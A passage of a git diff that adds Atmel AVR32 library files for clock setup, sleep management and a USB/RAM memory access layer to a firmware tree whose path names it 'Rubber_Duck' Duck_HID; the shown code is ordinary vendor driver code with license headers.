AVR32_PM_CKSEL_CPUSEL) + | (1U << AVR32_PM_CKSEL_CPUDIV); + + if (pba_shift > 0) + cksel |= ((pba_shift - 1) << AVR32_PM_CKSEL_PBASEL) + | (1U << AVR32_PM_CKSEL_PBADIV); + + if (pbb_shift > 0) + cksel |= ((pbb_shift - 1) << AVR32_PM_CKSEL_PBBSEL) + | (1U << AVR32_PM_CKSEL_PBBDIV); + + AVR32_PM.cksel = cksel; +} + +/** + * \brief Change the source of the main system clock. + * + * \pre The appropriate Flash Wait state must be set previously. + * + * \param src The new system clock source. Must be one of the constants + * from the System Clock Sources section. + */ +static inline void sysclk_set_source(uint_fast8_t src) +{ + uint32_t mcctrl; + irqflags_t flags; + + Assert(src <= SYSCLK_SRC_PLL0); + + flags = cpu_irq_save(); + mcctrl = AVR32_PM.mcctrl & ~AVR32_PM_MCCTRL_MCSEL_MASK; + mcctrl |= src << AVR32_PM_MCCTRL_MCSEL; + AVR32_PM.mcctrl = mcctrl; + cpu_irq_restore(flags); +} + +//@} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) + +/** + * \def USBCLK_STARTUP_TIMEOUT + * \brief Number of us to wait for USB clock to start + */ +#if CONFIG_USBCLK_SOURCE==USBCLK_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL0 +# if CONFIG_PLL0_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL0_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL0_SOURCE, see conf_clock.h. +# endif +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL1 +# if CONFIG_PLL1_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL1_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL1_SOURCE, see conf_clock.h. +# endif +#else +# error Unknown value for CONFIG_USBCLK_SOURCE, see conf_clock.h. +#endif + +extern void sysclk_enable_usb(void); +extern void sysclk_disable_usb(void); +#endif + +extern void sysclk_init(void); + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* CHIP_SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/sleepmgr.h new file mode 100755 index 0000000..5770502 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/sleepmgr.h @@ -0,0 +1,181 @@ +/** + * \file + * + * \brief Sleep manager + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SLEEPMGR_H +#define SLEEPMGR_H + +#include +#include +#include + +#if defined(XMEGA) +# include "xmega/sleepmgr.h" +#elif (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +# include "uc3/sleepmgr.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup sleepmgr_group Sleep manager + * + * The sleep manager is a service for ensuring that the device is not put to + * sleep in deeper sleep modes than the system (e.g., peripheral drivers, + * services or the application) allows at any given time. + * + * It is based on the use of lock counting for the individual sleep modes, and + * will put the device to sleep in the shallowest sleep mode that has a non-zero + * lock count. The drivers/services/application can change these counts by use + * of \ref sleepmgr_lock_mode and \ref sleepmgr_unlock_mode. + * Refer to \ref sleepmgr_mode for a list of the sleep modes available for + * locking, and the device datasheet for information on their effect. + * + * The application must supply the file \ref conf_sleepmgr.h. + * + * For the sleep manager to be enabled, the symbol \ref CONFIG_SLEEPMGR_ENABLE + * must be defined, e.g., in \ref conf_sleepmgr.h. If this symbol is not + * defined, the functions are replaced with dummy functions and no RAM is used. + * + * @{ + */ + +/** + * \def CONFIG_SLEEPMGR_ENABLE + * \brief Configuration symbol for enabling the sleep manager + * + * If this symbol is not defined, the functions of this service are replaced + * with dummy functions. This is useful for reducing code size and execution + * time if the sleep manager is not needed in the application. + * + * This symbol may be defined in \ref conf_sleepmgr.h. + */ +#if defined(__DOXYGEN__) && !defined(CONFIG_SLEEPMGR_ENABLE) +# define CONFIG_SLEEPMGR_ENABLE +#endif + +/** + * \enum sleepmgr_mode + * \brief Sleep mode locks + * + * Identifiers for the different sleep mode locks. + */ + +/** + * \brief Initialize the lock counts + * + * Sets all lock counts to 0, except the very last one, which is set to 1. This + * is done to simplify the algorithm for finding the deepest allowable sleep + * mode in \ref sleepmgr_enter_sleep. + */ +static inline void sleepmgr_init(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + uint8_t i; + + for (i = 0; i < SLEEPMGR_NR_OF_MODES - 1; i++) { + sleepmgr_locks[i] = 0; + } + sleepmgr_locks[SLEEPMGR_NR_OF_MODES - 1] = 1; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Increase lock count for a sleep mode + * + * Increases the lock count for \a mode to ensure that the sleep manager does + * not put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to lock. + */ +static inline void sleepmgr_lock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode] < 0xff); + + // Enter a critical section + flags = cpu_irq_save(); + + ++sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Decrease lock count for a sleep mode + * + * Decreases the lock count for \a mode. If the lock count reaches 0, the sleep + * manager can put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to unlock. + */ +static inline void sleepmgr_unlock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode]); + + // Enter a critical section + flags = cpu_irq_save(); + + --sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \fn sleepmgr_enter_sleep + * \brief Go to sleep in the deepest allowed mode + * + * Searches through the sleep mode lock counts, starting at the shallowest sleep + * mode, until the first non-zero lock count is found. The device is then put to + * sleep in the sleep mode that corresponds to the lock. + * + * \note This function enables interrupts before going to sleep, and will leave + * them enabled upon return. This also applies if sleep is skipped due to ACTIVE + * mode being locked. + */ + +//! @} + +#endif /* SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.c new file mode 100755 index 0000000..45294b8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.c @@ -0,0 +1,45 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#include +#include + +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) + +uint8_t sleepmgr_locks[SLEEPMGR_NR_OF_MODES]; + +#endif /* CONFIG_SLEEPMGR_ENABLE */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.h new file mode 100755 index 0000000..29898b2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.h @@ -0,0 +1,123 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UC3_SLEEPMGR_H +#define UC3_SLEEPMGR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +/** + * \weakgroup sleepmgr_group + * @{ + */ + +enum sleepmgr_mode { + //! Active mode. + SLEEPMGR_ACTIVE, + //! Idle mode. + SLEEPMGR_IDLE, + //! Frozen mode. + SLEEPMGR_FROZEN, + //! Standby mode. + SLEEPMGR_STDBY, + //! Stop mode. + SLEEPMGR_STOP, + //! Deep Stop mode. + SLEEPMGR_DEEPSTOP, + //! Static mode. + SLEEPMGR_STATIC, +#if UC3L + //! Shutdown mode. + SLEEPMGR_SHUTDOWN, +#endif + SLEEPMGR_NR_OF_MODES, +}; + +/** + * \internal + * \name Internal arrays + * @{ + */ +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) +//! Sleep mode lock counters +extern uint8_t sleepmgr_locks[]; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +//! @} + +static inline void sleepmgr_enter_sleep(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + int sleep_mode = -1; // -1 representing the ACTIVE mode + uint8_t *lock_ptr = sleepmgr_locks; + + cpu_irq_disable(); + + // Find first non-zero lock count, starting with the shallowest modes. + while(!(*lock_ptr++)) { + sleep_mode++; + } + // Catch the case where one too many sleepmgr_unlock_mode() call has been + // performed on the deepest sleep mode. + Assert((uintptr_t)(lock_ptr - sleepmgr_locks) < SLEEPMGR_NR_OF_MODES); + + if(sleep_mode >= AVR32_PM_SMODE_IDLE) { + // Atomically enable the global interrupts and enter the sleep mode. + pm_sleep(AVR32_PM_SMODE_GMCLEAR_MASK | sleep_mode); + } + else { + // Case where the ACTIVE mode is locked (i.e. no sleep mode allowed). + // Enable the interrupts to have the same behavior in all cases. + cpu_irq_enable(); + } +#else + cpu_irq_enable(); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* UC3_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.c new file mode 100755 index 0000000..9470d61 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.c @@ -0,0 +1,569 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +//_____ I N C L U D E S ____________________________________________________ + +#include "compiler.h" +#include "preprocessor.h" +#ifdef FREERTOS_USED +#include "FreeRTOS.h" +#include "semphr.h" +#endif +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#ifdef FREERTOS_USED + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() ctrl_access_lock() + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() xSemaphoreGive(ctrl_access_semphr) + +//! @} + +//! Handle to the semaphore protecting accesses to LUNs. +static xSemaphoreHandle ctrl_access_semphr = NULL; + +#else + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() true + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() + +//! @} + +#endif // FREERTOS_USED + + +#if MAX_LUN + +/*! \brief Initializes an entry of the LUN descriptor table. + * + * \param lun Logical Unit Number. + * + * \return LUN descriptor table entry initializer. + */ +#if ACCESS_USB == ENABLED && ACCESS_MEM_TO_RAM == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_USB == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_MEM_TO_RAM == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#else +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#endif + +//! LUN descriptor table. +static const struct +{ + Ctrl_status (*test_unit_ready)(void); + Ctrl_status (*read_capacity)(U32 *); + Bool (*wr_protect)(void); + Bool (*removal)(void); +#if ACCESS_USB == ENABLED + Ctrl_status (*usb_read_10)(U32, U16); + Ctrl_status (*usb_write_10)(U32, U16); +#endif +#if ACCESS_MEM_TO_RAM == ENABLED + Ctrl_status (*mem_2_ram)(U32, void *); + Ctrl_status (*ram_2_mem)(U32, const void *); +#endif + const char *name; +} lun_desc[MAX_LUN] = +{ +#if LUN_0 == ENABLE + Lun_desc_entry(0), +#endif +#if LUN_1 == ENABLE + Lun_desc_entry(1), +#endif +#if LUN_2 == ENABLE + Lun_desc_entry(2), +#endif +#if LUN_3 == ENABLE + Lun_desc_entry(3), +#endif +#if LUN_4 == ENABLE + Lun_desc_entry(4), +#endif +#if LUN_5 == ENABLE + Lun_desc_entry(5), +#endif +#if LUN_6 == ENABLE + Lun_desc_entry(6), +#endif +#if LUN_7 == ENABLE + Lun_desc_entry(7) +#endif +}; + +#endif + + +#if GLOBAL_WR_PROTECT == ENABLED +Bool g_wr_protect; +#endif + + +/*! \name Control Interface + */ +//! @{ + + +#ifdef FREERTOS_USED + +Bool ctrl_access_init(void) +{ + // If the handle to the protecting semaphore is not valid, + if (!ctrl_access_semphr) + { + // try to create the semaphore. + vSemaphoreCreateBinary(ctrl_access_semphr); + + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + } + + return true; +} + + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +static Bool ctrl_access_lock(void) +{ + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + + // Wait for the semaphore. + while (!xSemaphoreTake(ctrl_access_semphr, portMAX_DELAY)); + + return true; +} + +#endif // FREERTOS_USED + + +U8 get_nb_lun(void) +{ +#if MEM_USB == ENABLE + U8 nb_lun; + + if (!Ctrl_access_lock()) return MAX_LUN; + + nb_lun = MAX_LUN + host_get_lun(); + + Ctrl_access_unlock(); + + return nb_lun; +#else + return MAX_LUN; +#endif +} + + +U8 get_cur_lun(void) +{ + return LUN_ID_0; +} + + +Ctrl_status mem_test_unit_ready(U8 lun) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].test_unit_ready() : +#endif +#if LUN_USB == ENABLE + Lun_usb_test_unit_ready(lun - LUN_ID_USB); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].read_capacity(u32_nb_sector) : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_capacity(lun - LUN_ID_USB, u32_nb_sector); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +U8 mem_sector_size(U8 lun) +{ + U8 sector_size; + + if (!Ctrl_access_lock()) return 0; + + sector_size = +#if MAX_LUN + (lun < MAX_LUN) ? 1 : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_sector_size(lun - LUN_ID_USB); +#else + 0; +#endif + + Ctrl_access_unlock(); + + return sector_size; +} + + +Bool mem_wr_protect(U8 lun) +{ + Bool wr_protect; + + if (!Ctrl_access_lock()) return true; + + wr_protect = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].wr_protect() : +#endif +#if LUN_USB == ENABLE + Lun_usb_wr_protect(lun - LUN_ID_USB); +#else + true; +#endif + + Ctrl_access_unlock(); + + return wr_protect; +} + + +Bool mem_removal(U8 lun) +{ + Bool removal; + + if (!Ctrl_access_lock()) return true; + + removal = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].removal() : +#endif +#if LUN_USB == ENABLE + Lun_usb_removal(); +#else + true; +#endif + + Ctrl_access_unlock(); + + return removal; +} + + +const char *mem_name(U8 lun) +{ + return +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].name : +#endif +#if LUN_USB == ENABLE + LUN_USB_NAME; +#else + NULL; +#endif +} + + +//! @} + + +#if ACCESS_USB == ENABLED + +/*! \name MEM <-> USB Interface + */ +//! @{ + + +Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_read_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_write_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_USB == ENABLED + + +#if ACCESS_MEM_TO_RAM == ENABLED + +/*! \name MEM <-> RAM Interface + */ +//! @{ + + +Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].mem_2_ram(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_mem_2_ram(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].ram_2_mem(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_ram_2_mem(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#if ACCESS_STREAM == ENABLED + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + + + #if ACCESS_MEM_TO_MEM == ENABLED + +#include "fat.h" + +Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector) +{ +#if (defined __GNUC__) && (defined __AVR32__) + __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) + #pragma data_alignment = 4 +#endif + static U8 sector_buf[FS_512B]; + Ctrl_status status = CTRL_GOOD; + + while (nb_sector--) + { + if ((status = memory_2_ram(src_lun, src_addr++, sector_buf)) != CTRL_GOOD) break; + if ((status = ram_2_memory(dest_lun, dest_addr++, sector_buf)) != CTRL_GOOD) break; + } + + return status; +} + + #endif // ACCESS_MEM_TO_MEM == ENABLED + + +Ctrl_status stream_state(U8 id) +{ + return CTRL_GOOD; +} + + +U16 stream_stop(U8 id) +{ + return 0; +} + + +//! @} + +#endif // ACCESS_STREAM == ENABLED diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.h new file mode 100755 index 0000000..1b21e57 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.h @@ -0,0 +1,367 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND 